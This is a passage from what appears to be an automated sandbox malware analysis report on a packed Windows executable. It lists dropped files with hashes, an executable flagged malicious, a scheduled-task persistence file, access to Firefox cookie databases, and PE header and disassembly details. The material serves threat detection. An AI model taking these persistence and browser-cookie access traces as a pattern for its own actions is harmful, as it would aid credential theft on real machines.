a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\debb46f2-adca-4b48-a52f-7ac6fd9a1c7d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsFHJDBKJKFI.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1924608
Entropy (8bit):	7.950175139929825
Encrypted:	false
SSDEEP:	49152:9hgHusXjVlAmvQN5yJpk/VqCIk+SVTntsI:nFsZOm5k/4w+SV7
MD5:	56A8D0EA738568054D6A68992C06AF83
SHA1:	9F965ADB0CB2D9194F7DC72F8C06A52F92E4D58E
SHA-256:	6C6F1CB0EE20AB9E1A4B0C34EED3ED086357CC10B05B372D9A09E5D0D516D5C5
SHA-512:	59E90B3FC4EA54585A197B97381019C9F80D9C44213BD75BE71360A297C568DD588287F999F6CEC94E853C7E81C193BDA3CC388584CC7A04E3B3F25EF2EBFCA5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................L......b....@.................................W...k.......D....................L.............................t.L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...qjiksrqu.P...`2..B..................@...nceqyape......L......8..............@....taggant.0....L.."...<..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsFHJDBKJKFI.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.433311083114006
Encrypted:	false
SSDEEP:	6:3FLVXUhXUEZ+lX1CGdKUe6tE9+AQy0lBYut0:9R4Q1CGAFD9+nVBYut0
MD5:	1522EB4AFA137598BBFE517A2F2C24DE
SHA1:	2094D7F0919C175C7800D3AE31C7A97519CCE835
SHA-256:	60D63D341EAD8D7EFECCEB748C6D05082C810D15C92B1C5FD93A9D0ACBC2FA9B
SHA-512:	0E0E8642439502C93D5FC38C63B7BF914641B741A3D457E48B15D587E7F870F10C51ED919C60C6CDC427B77B06624BBAFB891816CEC20C6FD40E710310DFE96A
Malicious:	false
Preview:	......1t.N..&N..F.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................6.@3P.........................

Chrome Cache Entry: 521

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (807)
Category:	downloaded
Size (bytes):	812
Entropy (8bit):	5.167047591829719
Encrypted:	false
SSDEEP:	24:22RL5jQv1GUBHslgT9lCuABuoB7HHHHHHHYqmffffffo:XGzKlgZ01BuSEqmffffffo
MD5:	05A84F697AB5DB546A915FAA13A80354
SHA1:	B4F3875B09D97210A9797EBAB47CB74AAF510C49
SHA-256:	A332CACCDE0DDF660CF0CA82417A120CC58BCF03656973DBC20E271749C0C1F3
SHA-512:	90AEB95FA5E14247E49ECC9F897283C41B96470D96DE6DC40F86ABF91FB5E75323B340F188F97E4BF0EB353072737826A83FAA9524E229EDDFF528DDD73A7EAF
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["directv dish deal","ohio state indiana football","summer situationship full movie","thanksgiving winter storm forecast snow","disney dreamlight valley storybook vale","free thanksgiving turkeys","texas university free tuition","cher peter bogdanovich"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 522

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 523

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 524

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132965
Entropy (8bit):	5.435124198141248
Encrypted:	false
SSDEEP:	3072:fWkXyPqO7UX1Hme9kZbs4Voc5MSnXqwQ2i6o:fJyWFHrp4Voc5MSnawQ8o
MD5:	FE9B391A197D73BE17DC2F4441FE270B
SHA1:	B79E74318755421058E74C4D6E742B7CC5E52C6A
SHA-256:	EF40B49613EDB7364D64A49F7863B0BC7581DDE3CA5B321BD81FEA6572637CA1
SHA-512:	A15129C7392FC4A15E4089AC3AACC9E59CE5DD8B447C40733382FCF4E1462AAE4353C91E1B7D016230EE7DC4FF0C554AE68009D7EE41888302B6284AEEA74FA7
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 525

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 526

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944743880021534
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'809'920 bytes
MD5:	6af05407143697f6c49bd94e5903f73a
SHA1:	003809f7aa6cb6ab5bf4ddb22dc659f22f0879ef
SHA256:	e4853246b4c0b4d13aa84e929cf4313961f176e893a8c1c29720a1eb7f68c5a7
SHA512:	42447c96152cfd43f6ba7d7533edc62e10e66eab6030c8914bcf1af64d6980b29d1ac6a960fb6a1e3699ce68a8fad92684f2c3ebe11009f911d2b98e49f61b5e
SSDEEP:	49152:12+LhJrTVTCyrc3j2x4uDgwcTXXZHa6hS8R+:11hrCyrcxfCaS
TLSH:	2B8533006215AEE3CE449BF7C127CF2D6635843B69736571AC582238BA71BEB66DC603
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa91000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8F30DDBB4Ah
haddps xmm3, dqword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	a40a33528cce4859c52bbb3887940a32	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	2fc8efbcf6c2d2d0a2e27160451d41a3	False	0.796875	data	6.05156870787554	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a4000	0x200	eaf521ebd104bcd70aab7d26f367fe7b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fswcchxk	0x4f0000	0x1a0000	0x1a0000	7309336b761ec52cc134ef7b216edb54	False	0.9945620023287259	data	7.9539134055900735	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
